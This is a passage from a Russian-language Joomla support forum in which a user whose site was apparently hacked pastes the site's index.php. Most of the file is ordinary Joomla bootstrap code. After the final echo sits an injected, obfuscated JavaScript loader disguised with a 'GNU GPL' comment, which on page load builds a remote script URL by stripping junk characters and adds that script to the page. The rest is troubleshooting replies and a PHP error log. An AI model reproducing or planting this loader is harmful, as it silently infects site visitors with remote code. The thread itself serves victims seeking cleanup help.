define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */
$mainframe =& JFactory::getApplication('site');

/**
 * INITIALISE THE APPLICATION
 *
 * NOTE :
 */
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
 * ROUTE THE APPLICATION
 *
 * NOTE :
 */
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
 * DISPATCH THE APPLICATION
 *
 * NOTE :
 */
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
 * RENDER  THE APPLICATION
 *
 * NOTE :
 */
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));

<script>/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement('script');H3qqea3ur6p.setAttribute('type', 'text/javascript');H3qqea3ur6p.setAttribute('id', 'myscript1');H3qqea3ur6p.setAttribute('src',  'h#!t&##(t&() p$$:!#@/!(/$#l!) i!&v()@e!^(.$(!c!) o) m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$) n$&(.@)@c^@$o((m!(&.^)(b&!!) e@s(&t@@a() r#$#) t))@s#!#) a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#) r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#) a#) i^l^#.!&^) i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@) p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!) t#!((#.$$@c!&@o@m^)&/)!c&#(n$) e()&&t)#-^#!c^(@n^^n&#).) c!&!o$#m($/$^a&!@@b&() o^($(u!&#) t^#-#)) e$@@) b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) {}</script>
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
*

vvk

  • Новичок
  • 4
  • 0 / 0
заменить на оригинальный

Аналогично сегодня, как исправить
Sat Dec 05 11:42:28 2009] [error] [client 92.37.140.200] PHP Notice: Constant _FB_AVATAR_GDIMAGE_NOT already defined in /home/httpd/vhosts/..../httpdocs/administrator/components/com_fireboard/language/russian.php on line 171, referer: http://..../index.php?option=com_comprofiler&task=registers
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
Переписал файл ошибка осталась. Что делать? Помогите.
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
Подскажите пожалуйса как вообше убрать вот эту ошибку ? /plugins/content/dybanners.php on line 45 Может гдето в панели Joomla?
*

radius

  • Давно я тут
  • 550
  • 45 / 0
В админке в  настройках сайта выставить "Уровень ошибок" в значение "по умолчанию"
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Взломали сайт Antonkiil

Автор kristina_r

Ответов: 21
Просмотров: 1452
Последний ответ 15.07.2026, 12:09:51
от ProtectYourSite
При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

Ответов: 6
Просмотров: 5865
Последний ответ 31.03.2024, 16:14:32
от SeBun
Netflix! - Клиент поймал фишинг на старый сайт. Где порылись собаки?

Автор Alex_gs

Ответов: 9
Просмотров: 3580
Последний ответ 05.11.2021, 21:47:31
от wishlight
Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

Ответов: 0
Просмотров: 2329
Последний ответ 29.08.2020, 00:25:24
от cntrl
Безопасный вход на сайт Joomla и админка

Автор jm

Ответов: 9
Просмотров: 3435
Последний ответ 19.07.2020, 23:57:17
от wishlight